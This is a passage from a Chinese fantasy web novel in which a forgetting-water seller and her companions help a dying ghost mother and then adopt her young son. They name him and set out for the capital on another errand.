“我看见个小孩子。”孟梨食道,完全没发现这两人神色不对。
“啊?小孩子?”江余客努力自然地将黏在手上的视线挪开,顺着孟梨食视线看过去,却连个人影都没瞧着。
“哪有小孩子?”他问。
孟梨食收回手,不确定道:“那孩子身上,好像缠着鬼气。”
江余客瞟了眼自己的手,轻抿着唇,将视线挪开。
小魂:“鬼气?那咱们去瞧瞧?”
孟梨食下了马车,右手轻轻一弹,一道极粗的红绳忽然出现,将马车虚虚环住,接着橙光一闪,在江余客和小魂离开马车后将马车罩住。
“走。”孟梨食朝着一道小巷走去。
城中色调本就昏暗,进入小巷后视野内直接被蒙上一层黑纱,只能勉强看见五指和彼此轮廓。
小巷极深,往里走了好一会儿才微亮起来,一道破败高墙在眼前延伸出去,间断出现几扇破败木门。
小魂左右飘飘,将手搭在眼睛上,“现在该往哪走呢?”
孟梨食:“鬼气你还不熟悉吗?”
小魂以为对方要自己嗅着气味去寻,正想大喊不干,却见对方轻闭着眼,抬手去抓什么。
它反应过来,鬼气既有气味又有气息。
孟梨食在原地顿了两秒,突然朝左边迈脚,一直路过两扇紧闭的木门,最终停在一扇虚掩的院门前。
她抬手,轻轻一推,门发出一声沉闷的吱嘎声,开了,下一刻,她便与木屋前的小孩子对上视线。
对方看起来五岁不到,穿着单薄的打着多个补丁的衣裳,衣裳看起来太小,穿在对方身上既不协调,尤其是裤子部分,他的小腿露出大半,泛着白色。
脚下是一双破布鞋,右边那只破了个洞,可以看见蜷缩起来的脚指头。
“你、你们是谁?”男孩吓得后退一步,又急忙跑到屋门前,伸着细小的手臂拦在孟梨食身前。
孟梨食的视线无声地略过他,落在鬼气几乎溢出来的木屋上。
依旧是很破的木屋,屋顶茅草少了大半,窗户没有窗扉,站在院子里便能将视线投向那方黑暗,进而看见疑似床的模糊轮廓,以及躺在床上的人。
江余客走到孟梨食身边,“这么小的孩子,他家人在屋里吗?”
孟梨食上前一步,男孩浑身颤抖,却脚步不挪。
她微不可察地叹了口气,道:“我是大夫,可以给你娘看病。”
男孩紧绷的神情松缓下来,“真、真的吗?”
孟梨食点头,瞥了眼木屋前的棕色药罐,又落向还有些警惕的男孩脸上,想了想,她从乾坤袋中拿出一包糕点和两个药瓶,对男孩道:
“这白瓶里的药可以让你娘好起来,还有这包糕点,给你和你娘吃,吃饱了身体才会好。”
对方完全被她突然变出东西的样子吓到,“你是神仙吗?”
“……嗯吧。
”
男孩脸上的犹疑彻底消散,登登登跑向门口,推门进去,雀跃地喊道:“娘,神仙来我们家了,你马上就能好起来了!”
孟梨食紧跟着进入屋内,还没等她适应这昏暗,小魂反手将一把荧光石抛出,白光骤亮,她双眼猛地一痛,流下了生理泪水。
小魂看着亮堂起来的屋子,满意地点头,扭过头,看见默默流泪的两人,明白什么,感叹一句道:
“这孩子也太可怜了。”心道,竟连感受不到情感的孟梨食都为之落泪。
孟梨食与江余客:“……”
这么一会儿,两人也适应了亮光,将屋内布置尽收眼底——
屋门对面有一张暗沉色木桌,桌腿短了一截,用石头顶着,桌上只有孤零零一只水壶。
屋右边倚墙靠着一只木柜,最下面的隔板上放置
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三只瓷碗,此外再无他物。房间空得能让风尽情转悠一圈,留下寒气后悠悠离开。
屋左边挂着一张破烂席子,孟梨食掀开席子进去,见到了靠着墙半躺在床上的女人,意料之内的憔悴。
男孩想扶着女人坐起,却被对方摆手拒绝,又赶忙捂住嘴闷闷地咳嗽。
“娘,喝水。”男孩捧着瓷碗,碗里的水还算清澈。
女人咳了一会儿,又朝男孩摆手,抬眼看着几位客人。
她视线在几人身上晃了晃,最终聚焦在小魂身上。
“安儿,你先出去。”女人对男孩道。
男孩有些错愕,却在女人目光下将瓷碗放在床边的长条凳上,听话地出去了。
确定对方出了屋子,女人才扭头看向面前几人,“你们……是鬼差吗?”
孟梨食:“差不多。”
女人脸色更加白了,孟梨食道:“你身体已经逐渐透明,碰不到碗了吧,再不去地府报道,你会魂飞魄散的。”
“我知道……可是,可是安儿还小。”女人揪着被子,手指发白。
孟梨食沉默两秒,道:“其实我还是个卖水人,专卖忘情水,告诉我你的故事,我会尽可能帮你。”
“忘情水……”女人打量着面前的人,“我,我想请求你们,给安儿寻个安身处,让他健康、平安长大。”
女人艰难地掀开被子,晃悠着,双脚软绵绵踩在地上,扑通一声跪了下来。
“只要你们能答应我,想让我做什么都可以。”女人重重磕下头。
孟梨食食指一勾,数根红线浮现在女人周围,将其虚虚扶起来,送回床上。
“你先说发生了什么。”
“我……我原是晟国将军府的小妾,因在主母之前诞下男婴,遭嫉妒,被害死……”
晟国都城上空阴云低垂,一阵冷风卷过街巷,吹翻了路边的竹筐篓子,哐当哐当地滚砸在青石地上。
萧府大门紧闭,不知何处的稻草没有束紧,被风一吹,洋洋洒洒地从将军府门前滚过。
空中传来几只寒鸦的嘶鸣,混在风声中,紧接着,一道黑色身影咻然而过,重重砸在将军府大红的门上,血花绽开。
砰——
又一只寒鸦撞上了大门,□□被撞碎的声音让府内的人胆颤。
下人们互相看着彼此,端着手,气都不敢大喘一下,这时,一道响亮的婴儿哭啼声在整个将军府内响起。
“是个男孩!”内院传来声音。
空气一下子陷入寂静,没有人敢说话,就连原先着急忙碌的产婆在说完这句后都没了声音。
管家睨着通往后院的青石板路,看见一道颜色绚丽的身影,暗暗将心揪了起来。
他心里明白,那位刚为将军府添了第一个男丁的夫人活不过今晚,那男婴,大约也只会落个“早夭”的名。
乌云笼罩府邸,乌鸦撞死门前,一切都不是个好兆头。
一道寒光在浓重的乌云中闪过,轰隆隆的雷声接踵而至,闷闷地压在大地上,压的人喘不过气来。
57. 鬼魂母亲与被弃男婴(2)
一道道寒光将天穹划破,天色被浓墨晕染得厉害,黑云翻涌着,雷声滚滚。
一只寒鸦凄厉地叫着,停在一块歪倒腐烂的墓碑上,歪头看着一个女人被扔进一个巨大的土坑中。
女人已经没了生气,双眼却睁开,死死望着天空。
寒鸦用尖喙戳了戳翅膀,那群将女人扔在此处的人已经转身离开了,它准备再等一会,再等一会就去大吃一顿。
就在它要展开翅膀前,一道扯着嗓子的婴儿哭喊在乱葬岗内响起,将远处几只正啄食腐肉的乌鸦惊飞。
它在墓碑上跳了跳,转过身,黢黑的眼眸倒映着暗沉的环境,却没发现什么危险。
不管了,它要吃肉。
乌黑发亮的翅膀猛地展开,向着那具新来的尸体飞去,就在它要降落时,一道青色身影忽的从下面坐起,或者说,从女人身体里钻了出来。
它被吓了一跳,急急转了个弯,向着远处飞去,恐惧地叫着。
那道青色身影只钻出半个身子,它眼睛紧闭着,周围一团团黑气被吸引着向它聚拢,穿过它的身体。
过了许久,它终于脱离身下尸体的束缚,爬了出来,踉跄着,艰难的,踩着堆叠的尸体,爬出深坑。
它睁着发白的眼眸,环视四周,突然爆发一声喊叫,愤恨的,凄厉的,将更多乌鸦惊飞。
婴儿哭啼声已经弱得不成样子了,被惊飞的寒鸦再次飞了回来,重现落在腐烂的尸体上。
细长的手指肉眼可见地长出尖利指甲,在空中飘浮的幽绿色荧光下泛着慑人的寒光,它拖着自己刚凝聚出的身体,一步步往前走。
走了数米,婴儿哭啼声再次响彻在乱葬岗。
它脚步猛地一顿,用那没有瞳仁的眼睛望着四周,那声音细细的,却穿透风声,像根看不见的线,牵着它的脚步。
它终于确定声音来源,调转方向,一步步挪过去。
是个婴儿,包裹他的襁褓已经散开,他双脚无力地瞪着,两只小手捏成拳放在脸边,努力扯着嗓子哭喊。
它缓缓跪在孩子身前,颤着手将对方抱起,锐利的指甲消散,身体渐渐拥有实体。
一滴泪从她半白半黑的瞳孔里流下,划过苍白的脸庞,滴落在黑色的烂泥中。
“不哭不哭,娘在呢。”她轻轻晃着婴儿,扯着僵硬的嘴角笑道。
婴儿睁开圆溜溜的眼睛,直直地看着她,渐渐止住了哭声。
“这不是你的孩子吧。”孟梨食问。
女人弓下身,近乎将脸埋在被子里,声音呜咽:“是我的孩子,他是我的孩子。”
孟梨食食指微动,一根红线从对方头顶钻出,缠绕在她指尖,她细细感受着,说:“你孩子没死。”
女人身形一僵,缓缓抬起头,那张脸被泪水糊满,眼眶通红,“你,你说什么?”
因果线被孟梨食捏住,她又感受番,无比确定道:“你孩子没有死。”
“呜呜啊……”女人掩面痛哭,席子外传来稚嫩又担忧的声音:“娘!”
眼见男孩就要进来,小魂一个闪身出去,对男孩道:“我们正在给你娘治病呢,可不能打扰。”
“你们……”
女人想说些什么,孟梨食打断道:“他自有他的命数,我最多帮你算到几年后他有一劫,也能告诉你解决之法。”
女人弯下腰,低头道:“求您帮我。”
孟梨食看了眼手中的因果线,将其抛向空中,看着它飘飘扬扬,一端化为虚无,而另一端,没入女人眉心。
“在心里说出想对他说的话吧,劫数到来时,他会听见。”孟梨食说。
女人握紧双手,虔诚地低下头,看起来已经在心里对她从未见过面的孩子说出压藏在心里多年的话。
好一会儿后,女人抬起头,泪眼婆娑地看向孟梨食:“谢谢你,我真的不知道该如何感谢你。”
“故事也说的差不多了,你有什么要补充的吗?”
女人握紧手,又缓缓松开,“如果可以,希望你们能给安儿找个爱他的父母,找不到也没关系,能让他有个归处就很好了,他很乖的。”
她看向孟梨食,“忘情水,不知要多少钱才能买,我想给安儿买一碗。”
“你想让他忘掉你?”
“如果他未来都能幸福,那他没必要记得我,如果未来有爱他的爹娘,那忘记我这个娘也算件好事。”
孟梨食看对方也不像有钱的样子,便道:“行,我答应你,会给他安排个好去处。”
江余客神色微动,手臂微微抬起,似乎想说些什么,最终却没能说出来。
孟梨食继续道:“无的一半也是无,这忘情水,你尽管拿去。”
她左手伸出,一只瓷碗突然浮现于掌心,考虑到对方已经无法端住碗,她便将碗放在长条凳上。
“此等大恩,我只能来世相报了。”女人道,她的头顶渐有荧光飘出。
“我不需要你的报答,到了地府报我孟梨食的名号,自会有人安排你。”
女人点点头,她再也说不出什么能表达她感激的话,能在她生命尽头遇见如此善人,要她如何报答都愿意。
她早已死去,灵魂迟迟不归地府以至于自己逐渐化成鬼魂,无非两件事,一件是自己死后,安儿的去处。
对方虽不是自己所生,却在襁褓中便被自己捡起养大,是对方的一声啼哭唤回她的理智,让她没有成为鬼尸。
而另一件事,便是她的亲生孩儿,本以为对方刚出生便被害死,竟意外得知对方还活着,自己还能为对方留下话,留下一些娘爱着孩子的话。
她此生无憾了。
孟梨食抬起手,为对方输送些灵力,女人本就虚化的手臂渐渐凝聚。
女人呼了口气,,微微仰着头,将眼泪倒流,朝着悬挂着的席子看去,放轻声音唤道:“安儿。”
屋外旋即响起回答:“娘!”
登登登,焦急的脚步声靠近,伴随着小魂低低的惊呼:“慢点,别摔了。”
小魂推开席子,男孩捧着碗从下方走进。
“娘,神仙把你治好了吗?你还需要喝药吗?”男孩将碗高高举起,凑到女人面前,将头探出来看她。
“娘好了,把药放下吧。”女人轻笑着,眼角皱纹舒展开。
“真的吗?太好了!”男孩看向孟梨食等人,笑道:“谢谢神仙!”
“来,把碗放下,到娘这里来。”女人朝男孩招手。
“嗯!”男孩将碗放在长条桌上,却见凳上已经有了一只碗,这种棕色带纹路的碗家里没有。
男孩小心爬上床,坐在床沿,晃着双脚,“怎么了,娘?”
女人伸出手臂,将对方拥入怀中,右手一下一下地抚在他背上。
男孩顿时高兴地将自己塞进对方怀里,娘已经很久没有抱他了,他喜欢娘抱着他。
女人微侧过身,将凳上那碗忘情水端起,轻声哼道:“安儿乖,喝口神仙给的水,一辈子都不会生病了。”
男孩从女人怀里探出头,用手捧着碗,咕噜咕噜将水喝了,他咂巴着嘴,朝女人笑道:“娘,神仙给的水是甜的!”
刚说完,小魂和江余客朝前面的人看了一眼,被看的人眼神游移。
“唔,娘,我困……”
男孩打了个哈欠,再次缩回了女人怀里。
女人右手继续轻拍着男孩,眼帘低垂,嘴中轻哼着,“安儿乖,安儿睡,睡醒了娘陪你玩……”
慢慢的,她停
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下动作,在男孩额上落下一吻,抬头看着面前的人:
“实在是麻烦你们了,安儿很乖,很听话的……”
她声音渐弱,抱着男孩的手臂开始虚化。
孟梨食忙上前,从对方怀中将男孩接过。
很小的孩子,很轻,能被她完全圈在怀中。
她看向床上的女人:“安心去吧。”
对方很轻地点了下头,身形肉眼可见地消散,瞬间,房间内被寂静挤满。
床上浮现点点幽绿的光,它们逐渐升起、扩散,向着头顶稀疏的茅草顶飘去,消失在灰蒙蒙的天际。
江余客走到孟梨食身边,手臂要伸不伸,看得出有些渴望又有些纠结,“重吗?我抱吧。”
“很轻。”孟梨食回道,却依旧小心地将人送到对方怀中。
柔软缓慢过度在自己怀中,早已做好准备的江余客仍不由得一怔,身形僵硬。
“抱好,别摔了。”孟梨食睨了他一眼,犹豫着收回手。
小魂凑了过来,一见江余客这外行人都看得出来不标准的抱娃姿势,立马不满道:“你会不会抱,还是把孩子放我背上,我可以变成一个摇篮。”
小魂摆着身体,得瑟道:“我还可以变成木马,变成秋千……”
孟梨食将魂弹开,皱眉打断它的话,“小声点。”
几人从屋中退出,孟梨食看了眼江余客怀里的孩子,又看了眼渐渐被黑暗吞噬的破败木屋。
她收回目光,心想,按买水人的要求,她不会让这孩子知道这一切,也不会让他再回到这里。
她立誓,会让这孩子从今往后快乐、幸福下去。
从小巷的浓影中出来,几人一眼看见围着他们马车舞刀弄棍的几人。
马车被结界包裹,任他们如何大力轰击,都不能动摇分毫。
江余客抱着孩子不好出手,孟梨食在他手臂上示意性的一拍,走上前。
她右手一勾,数根红绳从身前的空气中蹿出,鞭子般甩在空中,发出破空声响。
光这么一甩,那些人便被吓得屁股跌在地上,脸色发白。
“妖、妖怪啊!”
“妖怪吃人了!”
孟梨食:“……”
小魂捂嘴偷笑,见江余客走上前,视线落在他怀里的孩子上,感叹道:“有人喊你神仙,有人喊你妖怪,嗐!”
孟梨食本就想放过这些人,偏小魂在一旁捣火,气得她反手抓住小魂,扔了出去。
魂体准确地从跑到最前面的男人的胸口穿过,死鱼浮尸般飘在空中。
那男人猛地一顿,一股寒气从骨髓深处渗出,无形地蔓延全身,整个身体仿佛都被冻住,僵硬地倒向地面。
其余男人见状,尖叫着跑得更快了。
孟梨食扶着江余客上了马车,撩开车帘,与气势汹汹飘回来的小魂对上视线。
在对方开口大骂谴责自己不道德行为前,孟梨食开口道:“行了,你去看孩子,我来驾车。”
不知是即将下雨还是这流民城本身的问题,从他们踏入这座城中时,天空便是压抑的灰色,灰尘与枯叶被风卷着满街飘荡,而这么一会,天更暗了。
风吹得更加猛烈,不少被遗落在街边的杂物被吹得砰砰作响。
流民城本就不是安生之地,夜色更能激起人心中的邪念,她得在天完全黑下来前出城。
虽说她不惧这些凡人攻击,但麻烦能少一些是一些。
好在,马车终于在夜色彻底笼罩前驶出城门,驶进一道山间大道上。
不知过了多久,马车缓缓停了下来,马匹在原地踏着蹄,鼻息在寒夜里凝成白雾。
孟梨食随手一弹,扔出一根红绳,熟悉的结界再次将马车包裹。
58. 育儿日记(1)
“他怎么还不醒?”小魂压低声音问,它已经盯着江余客怀里的孩子盯得眼睛发酸了。
没忍住,它伸手碰了碰对方脸蛋,像发现新大陆般瞪圆了眼睛,好软!
它正想将这个新奇发现分享出去,却收到孟梨食的眼刀,吓得它缩回手,撇嘴道:“碰一下,又不会把他吵醒。”
结果它嘴跟开了光似的,刚说完,那孩子便呜咽一声,缓缓睁开了眼。
顿时,小魂收到了两道骇人目光。
男孩看着眼前三张陌生的脸,有些茫然,翻了个身,缩在江余客怀里,轻轻的,拖着尾音撒娇地喊:“娘……”
孟梨食见江余客身形明显一僵,顿觉有意思,露出笑来。
江余客咽了下口水,回忆着那些母亲抱孩子的画面,生硬地抬手在男孩背上拍拍,用着刻意放缓放柔的嗓音喊:“乖啊……”
但一出声,还是暴露了一切。
男孩将埋在对方怀里的脸侧出来,盯着对方的脸,溜圆的眼睛大睁着,似乎是没意料到娘的声音会这么……这么粗?
小魂往后退了退,朝孟梨食使眼色,“他不会要哭了吧。”
显然,另外两人也在担心这个,江余客迅速将孩子递给孟梨食,后者不解,却下意识接过。
男孩眼前的脸骤然从男的变成女的,他迷茫地盯着对方,小脑袋思考着。
孟梨食被盯得心里直打颤,生怕对方哇哦一声哭出来,正想将对方再塞进江余客怀里,却见男孩突然笑了起来,侧身将她抱住,脸蛋在她胸前蹭蹭,软软地喊:
“娘——”
拖长的语调里满是依赖和欢喜。
现在轮到孟梨食身形僵住了,单身至今,竟然被人喊作了娘,震惊过后便有些不可置信,她将孩子放在大腿上,指着自己问:“我是你娘?”
男孩笑着,甜甜地喊道:“娘——”
“得意什么!”小魂一把推开孟梨食,将自己凑到孩子身前,指着自己问:“要叫我什么?”
男孩露出茫然,半晌,才犹豫着喊:“鸟,小鸟儿——”
“呃,不对不对。”小魂一本正经地摇头,指指孟梨食道:“我是你娘的同仁,你得叫我叔叔。”
“叔叔?”
“那我呢?”江余客也凑了上来。
孟梨食抱着孩子,被一人一魂挤着,想发脾气,当着孩子的面又发不出来,无语道:“你们两个无不无聊。”
男孩看着面前的男人,想了下,注意着孟梨食的神色,脆生生喊道:“爹!”
两人一魂顿时石化当场。
江余客最先反应过来,因为男孩拉住他衣袖,朝他笑得一脸不要钱的样子。
他极其隐秘地摸了下发烫的脸颊,将孩子从孟梨食怀里抱出来,让对方站在自己大腿上,结巴道:
“来,让……让我抱抱,饿了吧,爹……我给你找吃的。”
他右手抱住孩子,左手在车厢一角翻找东西,拿出一袋不知谁买的零嘴。
男孩坐在他大腿上,双手拿着淡粉色的糕点,吃的认真。
江余客突然意识到什么,一抬头,看见两双怀疑的目光。
孟梨食与小魂抱臂看着他,也不说话,但话都在目光中了。
江余客:“……”
他默默将孩子转了个方向,让他面朝两人,黏在他脸上的视线顿时被吸引走。
“好可爱!叔叔这里还有其他好吃的,糖葫芦要不要?”小魂真摸出根糖葫芦,在孩子面前晃着。
男孩瞬间被吸引了视线,眨着好奇又渴望的眼睛,却又不敢伸手,只是点头道:“要。”
“叫我叔叔我就给你。”小魂尽情逗着孩子,浑不觉头顶两道相触的视线,碰撞得有多热烈。
孟梨食率先移开目光,落在孩子身上。
江余客也觉尴尬,下意识看向一旁,却只看见被余晖穿过的车帘,只得低头,看着孩子圆滚滚的脑袋。
“对了,等到了下个地方,我们给孩子买些衣裳鞋子吧。”
他这么一说,另两人都打量起孩子的穿着,小了许多的极不合身的衣裳,破了个洞的鞋子。
一时间,孟梨食想到许多,她没说出来,小魂却叹一声将她心中所想说了出来:
“难以想象这孩子以前过着怎样的生活。”
是啊,这么小的孩子,母亲是个不能长久与人接触的鬼魂,后期即将消散时更是身体虚弱得下不了床,还需要这么小的孩子去熬药。
无法想象,这么小的孩子是怎么熬过来的,明明还是个需要母亲抱在怀里哄睡的孩子。
“对,必须得买!”小魂立马呼应江余客的提议,“要给他买好多衣裳,好多好吃的,好多玩具!”
它越说越激动,“我们还要专门租辆马车来装这些东西!”
“你傻了,有乾坤袋要什么马车。”孟梨食怼它。
小魂也确实是激动过了头,傻傻笑着。
第二天一早,江余客驾着马车,朝下一个目的地疾奔,咕噜咕噜,车轮滚动声在山野间放肆响起。
“急什么?”孟梨食心想,戳了戳男孩手感极好的脸。
对方扶着车窗,腰部和背部被孟梨食扶住,他望着窗外飞速倒退的景物,一脸新奇。
感觉到脸蛋被戳,男孩回过头,嘻嘻笑道:“娘,外面好看!”
孟梨食不自然地“嗯”了声:“你看吧。”
男孩继续投入到眼前一闪而过的风景中,伸出手,感受风的流动。
“安儿。”孟梨食突然喊了一声,对方没回过头,也没回应,没有任何反应。
孟梨食垂下眼,感受手心的温度和柔软,轻轻地加深了力度,将对方更牢地抱住。
男孩不知道安儿是叫谁,也忘了自己曾有过一个很爱他的母亲,那位母亲会叫他安儿……
她突然意识到自己犯了个错误,她不该允许对方叫自己娘的,也不该允许对方叫江余客爹,他真的这么认为的时候,日后如何安排分别?
分别……
孟梨食盯着男孩深灰色的衣裳出神。
小魂飘到了窗外,突然一下探出头,逗得男孩哈哈大笑后又缩在窗下,趁男孩去找它时又突然飘出来,男孩又咯咯笑起来。
枯燥的马车疾驰声中混着充满生气与温馨的孩童笑声。
马车终于停下,江余客先下了车,对里面人道:“下来吧。”
小魂将车帘撩开,孟梨食抱着孩子出来,朝四周迅速看了一眼,脑内有了初印象,这应该是座小镇,应当是晟国边界。
“小心。”江余客扶住她,视线对上她怀里的孩子,朝他笑笑。
“重吗?我来抱吧。”
男孩主动伸出手,跃进江余客怀里,趴在他肩膀上,喊他:“爹。”
江余客颇不适应地“嗯”了声,抬眼注意到孟梨食视线,疑惑道:“怎么了?”
孟梨食确实想说些什么,且是很严肃地与对方说,但孩子在这,说出来只怕会伤对方的心,便道:“之后说,先带孩子去买几身衣裳。”
小魂围着孩子飘,一路逗得对方笑个不停。
几人来到一家成衣铺子,孟梨食现在最不缺的就是钱了,大手一挥,将凡是适合孩子穿的衣裳裤子都包了下来,霸气得让店家臣服。
小魂目瞪口呆:“这还是那个见钱眼开的孟梨食吗?”
它晃晃脑袋,飘到孩子身边,逗着孩子问:“你娘厉不厉害?”
“厉害!”男孩挥着手笑。<
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孟梨食轻哼着扭过脸,耳郭微红。
下一站,鞋店,不过半刻,再次被几人扫荡一空。
江余客朝店家借了房间,直接给孩子换了衣裳、裤子和鞋子。
小魂嘟囔着不满:“给孩子买衣裳的事都让你这个当娘的做尽了,我不管,孩子的吃食由我来买!”
一墙之隔的江余客听闻,忙出声道:“那玩具我来买!”
男孩乖乖伸手任江余客将衣服套上,他视线一瞥,落在对方腰间的剑上,那剑在他看过来的瞬间发出柔和的金光。
男孩完全被吸引了视线,江余客叫他抬脚要给他换鞋都没听见。
“爹,这是什么?”他指着剑问。
江余客顺着对方视线低头一瞧,将剑取了下来,道:“这是剑,轩辕剑。”
“剑!”孩子眼里闪着星星。
“我是个侠客,行走江湖的侠客,就是用剑打倒坏人,帮助好人的。”江余客顺手挽了个剑花。
“爹,我也想要剑,我也要当侠客。”
他刚说完,孟梨食的声音穿过薄薄的木质墙壁,灌入耳中:“江余客,你别乱教孩子!”
江余客与孩子对视一眼,两人眨巴着无辜的眼睛。
他笑了起来,朝孩子眨着眼睛,压低声音道:“别让你娘知道,待会我给你买一把木剑。”
男孩闻言捂住嘴,眼睛完成了月牙,小心点头。
换好衣服出去,孟梨食冷眼看了江余客一眼,看得后者一阵心虚,好在小魂很快打断了她的思绪,围着孩子转圈夸赞道:
“真好看,真可爱,小小年纪就这么帅气了,长大了还不得迷倒一众少女啊!”
男孩扯着衣摆,害羞地看向孟梨食,脸上明了地挂着等待对方夸奖的期待。
孟梨食被看得很不自在,对他点头道:“好看。”
顿了一秒,补充道:“确实好看,也很可爱。”
她平生就没夸过人,也就说得出这干巴巴几个词。
小魂白了她一眼,“有你这么夸孩子的吗?”
它看向孩子,脸上挂着人牙子的标准笑容,搓着手道:“走,叔叔给你买糖人。”
江余客瞥了眼孟梨食脸色,将孩子抱起放在肩上,风一般往门外走去:“走,买玩具去!”
孟梨食正想跟出去,被店家拦住,对方搓着手道:“客官,钱还没结呢。”
孟梨食:“……”
等她找到几人,孩子手里已经塞满了吃食和玩具,尤其是对方手里握着的木剑。
她看向江余客,后者摸摸鼻子,移开视线。
小魂将孩子放在自己背上,它化作一团柔软的云,载着对方慢悠悠逛街。
孟梨食趁机拉住江余客,严肃道:“我们聊聊。”
“聊……”江余客想到什么,脸色微红,口吃道:“我……我让孩子叫你娘,其实我……”
“嘀咕什么呢?”孟梨食打断他,问:“你准备给孩子找个什么样的人家?”
江余客明显一怔,“你……你说什么?”
孟梨食意料之内地看着他,反问:
“你忘了她嘱托我们的吗?要给孩子找个爱他的父母,你现在让他以为你是他爹,那分别时你该如何解释?”
江余客被说得僵在原地,他反思自己,确实考虑得不多,忽略了这些,也无意中伤害了孩子,但……
但他忽略这些是有原因的,他心里有个声音在让他做一个决定,一个看起来很鲁莽,很不负责任的决定……
“我想养他。”他抬起头,认真道。
“你……”孟梨食胸口起伏着,问道:“我问你,他日后上学怎么办?若想做官怎么办?你真要带着他去当侠客,到处飘荡?”
59. 未归人与待归人(1)
江余客抿着唇,沉默许久,就在孟梨食以为自己说动对方时,对方却抬起头,道:
“若他以后想入学堂考取功名,我会寻一个合适的地方定居下来,谋份活路照顾他,若是他想与我闯荡天涯,我也愿意僵毕身所学倾授给他,豁出性命保护他。”
他一口气说出这些,顿了顿,看向孟梨食惊讶的眼神,道:
“他现在还小,还做不出这些决定,我想把他带在身边,我没法放心把他交给一个不熟悉不知品性的人。”
“交给你我也不放心,”孟梨食道,“别忘了,她是将孩子嘱托给了我。”
“我会将孩子照顾好,这一路你监督着,若我对孩子有半分不好,你就把孩子带走。”
孟梨食久久没有说话,不知道是被对方这番话气到还是什么,也许,是对方的神色与语气太过认真,认真到她不得不考虑对方说的。
她与对方相处时间不长,也就快一年,但这不到一年的时间里,她却是将对方性格摸透。
江余客是个很简单的人,是个有侠客意气的人,是个见不得他人痛苦的人,是个说到做到的人,把孩子交给他,孟梨食应该放心的,但是……
“孩子我也会照顾着,全交给你没人敢放心。”孟梨食扭过头,看见人群中被小魂放在背上的孩子,对方笑得热烈,笑得快活。
江余客琢磨出什么,一阵恍惚又惊喜,下意识抓住对方手臂,又紧忙松开。
“那我们给孩子取个名吧,咱们现在就取出来,不能让孩子知道自己还没有名字。”江余客笑着提议道。
“你说跟你姓好还是跟我姓?”江余客认真问道。
孟梨食张了张嘴,不太明白话题怎么就到这了,但闻言,道:“跟你吧,我的姓被诅咒了。”
她的“孟”是孟婆的孟。
“什么意思?”江余客问。
“没什么,”孟梨食佯装不耐烦道,“想你的名字去!”
“叫江梨客吧。”
这名字怎么听起来怪怪的?
“哪几个字?”孟梨食问。
江余客笑得一脸不好意思,“你的‘梨’,我的‘客’。”
孟梨食皱眉:“太随意了,没什么含义。”她心道,而且听起来怪怪的,真的太奇怪了。
“分离的离吧。”她道。
“这个字不好。”江余客立马拒绝,这应该算是他第一次坚决拒绝对方的提议了。
孟梨食也知道不好,她只是脑子里突然出现这个字,随口说出来而已,离,分离的离,很晦气的字。
“让我想想……”江余客望着天空,视线飘远,突然看见什么,灵关一闪,激动起来:“就取黎明的‘黎’吧,有希望,有新生。”
“江黎客。”孟梨食轻声念着,想象着用这个名字呼喊孩子的模样,心里的某根线像被拉住一般,紧紧的,涩涩的。
只觉得这街巷上的风带着些萧瑟,好像,她能预见什么般。
江余客一把拉住她,朝着街边的做糖人的小摊走去,远远地喊:“江黎客。”
孩子听到熟悉的声音,虽不知话中意思,却依旧扭过头,开心地喊:“爹!娘!”
孟梨食脚步微顿,身旁的人却像是风般跑了过去,一把将孩子抱在怀中,将他抛起又牢牢接住,喊他:
“黎客,江黎客,这是你名字,记住了吗?”
“哈哈,记住了,爹,再抛高点!”
小魂飘到孟梨食身边,不解道:“这是怎么了?他怎么这么高兴?”
“我们给孩子取了个名字,叫江黎客。”看着那父子俩高兴玩耍的样子,她的话中也不由得带上些笑意。
所有人都很高兴,唯有小魂不满道:“什么意思啊!给孩子取名这么大的事,怎么不给我说呢,不算啊,重取!”
“江黎客,黎明的黎,不好吗?”孟梨食问它。
小魂一噎,半晌不情不愿道:“好是挺好的……哼,算了,反正你们是孩子爹娘,我这个做叔叔的是外人!”
小魂刚想飘走,孟梨食一把抓住它尾巴,问:
“我们暂时把孩子养在身边,等他长大一些,有了判断能力,再按对方所想规划他的未来,如何?”
“你……你和江余客商量好了,你也决定了?”
“嗯。”
小魂后退一步,看看面前尤其反常的人,又看看另一边还在带着孩子玩抛高高游戏的江余客,竟说不出话了。
半晌,它道:“你决定了就去做吧,但……你是不是忘了你曾经切断自身所有羁绊的事了,你能忍受这个结果吗?”
孟梨食:“不能,但好像来不及了。”
她略过小魂,走上前,孩子瞧见她,立马伸出两条小手臂,扑进她怀里。
孟梨食抱了个满怀,感受到对方柔软的身体,她想,也许她的羁绊根本没有切干净。
孩子的事处理好了,现在第一要紧的事就是吹箫者的嘱托。
孟梨食拿出那枚圆环玉佩,一根红线从中飘出,向四周转了一圈,寻找着。
江黎客好奇地盯着,忍不住伸出手将它抓住,江余客吓了一跳,忙握着他的手将红线解救出来,将他抱在自己怀中。
孟梨食闭眼,感受因果线上的因果与羁绊,缓缓转了半圈,看着天边道:
“果然,要找的人就在晟国国都。”孟梨食睁开眼,松开手,将红线撤下。
这次嘱托不同于以往,既不是兔草草让他们遇见蝶乐乐了带一几句话,也不是画中狐麻烦他们将画卷散布人间,这两者是没有时间限制的,但……
找人是有的,早点找到总归要好些,谁也说不清会发生什么意外。
几人现在还在晟国边界,准备直接赶往国都,将这份嘱托完成了再说。
上了马车,江余客驾着车,向着国都出发。
孟梨食将孩子放在腿上,左手扶着他的背,右手变出几根红线让他玩。
她望着窗外倒退的景象,抿着唇,神色不爽。
小魂看了她一眼,不知对方在想什么,也就不去打扰,用她变出来的红绳逗孩子玩。
数日车程,终于进了晟国国都。
国都繁华,非边界城邦可比,哪怕晟国不久前战败于俞国,却依旧不减它的繁华与强大。
今日的国都比往日更加热闹,几人将马车安置好,一路步行在街上,听行人讨论着曲家小姐大婚之事。
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天色渐黑,婚礼应该就在明日了。
婚礼什么的,要是搁平日孟梨食就去凑热闹了,但今时她有要事在身,而且,在她进入国都后,心总是慌乱起来,迫使她马上行动,好像再不行动,就会晚了。
她再次变出红绳,跟着它的牵引,踏入一条小巷,走进一片昏暗。
越往里走,越发觉得奇怪,心脏也鼓动得厉害。
不应该啊,她与这位曲家小姐见过几次面,对方是大富大贵人家,是千金之躯,怎么会出现在这种破败小巷内。
但当她看见面前不远处,蹲在墙角缩成一团的红色时,又好像明白什么。
四周的黑暗让江黎客吓得缩进江余客怀里,余光见孟梨食走上前,担心地伸手去抓,喊道:“娘……”
“别怕。”江余客握住他伸出的手,跟着走上前。
孟梨食蹲在对方身前,昏暗中,对方穿着一身红衣,发间金钗松松地挂着,头发凌乱,几丝呜咽传出。
